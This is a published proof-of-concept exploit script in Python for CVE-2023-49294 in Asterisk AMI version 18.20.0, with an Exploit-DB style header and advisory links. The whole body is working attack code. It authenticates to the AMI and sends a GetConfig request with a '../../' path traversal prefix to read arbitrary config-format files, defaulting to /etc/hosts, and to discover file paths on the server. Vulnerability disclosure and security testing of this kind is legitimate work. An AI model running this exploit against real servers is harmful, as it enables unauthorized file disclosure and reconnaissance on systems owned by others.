# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated) # Date: 2023-03-26 # Exploit Author: Sean Pesce # Vendor Homepage: https://asterisk.org/ # Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/ # Version: 18.20.0 # Tested on: Debian Linux # CVE: CVE-2023-49294 #!/usr/bin/env python3 # # Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that # facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of # file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar # to the common INI configuration format. # # References: # https://nvd.nist.gov/vuln/detail/CVE-2023-49294 # https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f # https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/ import argparse import getpass import socket import sys CVE_ID = 'CVE-2023-49294' DEFAULT_PORT = 5038 DEFAULT_FILE = '/etc/hosts' DEFAULT_ACTION_ID = 0 DEFAULT_TCP_READ_SZ = 1048576 # 1MB def ami_msg(action, args, encoding='utf8'): assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}' assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}' if 'ActionID' not in args: args['ActionID'] = 0 line_sep = '\r\n' data = f'Action: {action}{line_sep}' for a in args: data += f'{a}: {args[a]}{line_sep}' data += line_sep return data.encode(encoding) def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ): assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}' sock.sendall(data) resp = b'' while not resp.endswith(b'\r\n\r\n'): resp += sock.recv(read_sz) return resp if __name__ == '__main__': # Parse command-line arguments argparser = argparse.ArgumentParser() argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server') argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT) argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True) argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None) argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE) argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID) if '-h' in sys.argv or '--help' in sys.argv: print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr) argparser.print_help() sys.exit(0) args = argparser.parse_args() # Validate command-line arguments assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}' args.host = socket.gethostbyname(args.host) if args.password is None: args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ') print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr) print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr) # Connect to the Asterisk AMI server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.connect((args.host, args.port)) # Read server banner banner = sock.recv(DEFAULT_TCP_READ_SZ) print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr) # Authenticate to the Asterisk AMI server login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password}) login_resp = tcp_send_rcv(sock, login_msg) while b'Authentication' not in login_resp: login_resp = tcp_send_rcv(sock, b'') if b'Authentication accepted' not in login_resp: print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr) sys.exit(1) #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr) print(f'[INFO] Login success', file=sys.stderr) # Obtain file data via path traversal traversal = '../../../../../../../../' cfg_msg = ami_msg('GetConfig', { 'ActionID': args.action_id, 'Filename': f'{traversal}{args.file}', #'Category': 'default', #'Filter': 'name_regex=value_regex,', }) resp = tcp_send_rcv(sock, cfg_msg) while b'Response' not in resp: resp = tcp_send_rcv(sock, b'') print(f'', file=sys.stderr) print(f'{resp.decode("utf8")}') if b'Error' in resp: sys.exit(1) pass # Done